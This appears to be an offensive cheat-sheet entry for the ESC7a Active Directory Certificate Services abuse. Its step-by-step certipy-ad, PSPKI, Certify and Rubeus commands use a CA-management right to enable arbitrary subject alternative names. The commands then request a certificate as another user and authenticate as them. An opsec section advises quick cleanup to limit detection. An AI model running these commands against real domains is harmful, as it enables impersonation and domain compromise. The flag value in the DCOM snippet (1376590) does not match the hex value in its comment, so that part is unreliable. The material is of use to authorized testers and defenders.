ADCSESC7a
ESC7a: ManageCA right on Enterprise CA β use it to enable EDITF_ATTRIBUTESUBJECTALTNAME2, turning the CA into an ESC6 condition, then enroll with arbitrary SAN.
Applies to: Principals with ManageCA (CA Administrator) right β Enterprise CA
Linux Abuse
certipy-ad
# Step 1: Confirm ManageCA right and enumerate CA
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Add self as CA officer (needed to issue/approve certs)
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -add-officer <username>
# Step 3: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2
# Step 4: Restart CA service to apply flag (may not always be required β test first)
# (Requires CA restart β may need admin on CA host)
# Step 5: Now exploit as ESC6b β request cert with arbitrary UPN
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
# Step 6: Authenticate
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Cleanup: disable flag
certipy-ad ca -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -disable-flag EDITF_ATTRIBUTESUBJECTALTNAME2
Windows Abuse
PSPKI module
# Install PSPKI if not present
Install-Module -Name PSPKI -Force
Import-Module PSPKI
# Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
Get-CertificationAuthority -ComputerName <ca-host> | `
Enable-PolicyModuleFlag -Flag EDITF_ATTRIBUTESUBJECTALTNAME2
# Verify flag is set
Get-CertificationAuthority -ComputerName <ca-host> | Get-PolicyModuleFlag
# Or via certutil:
# certutil.exe -config "<ca-host>\<ca>" -getreg "policy\EditFlags"
# Now exploit as ESC6 β request cert with arbitrary UPN
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /upn:<target-user>@<domain>
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
certutil (alternative β direct registry via DCOM)
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "<ca-host>"
$configReader.SetRootNode($true)
# Read current EditFlags
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
# Set EditFlags with EDITF_ATTRIBUTESUBJECTALTNAME2 (0x00014C02)
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
Opsec
- Enabling
EDITF_ATTRIBUTESUBJECTALTNAME2is a highly visible CA-level change β it shows up in CA audit logs and is trivially detected by any ADCS audit. - The flag change persists across reboots; disable it immediately after obtaining the cert.
- CA admin actions are logged under the Security event log on the CA server (Event ID 4870, 4882).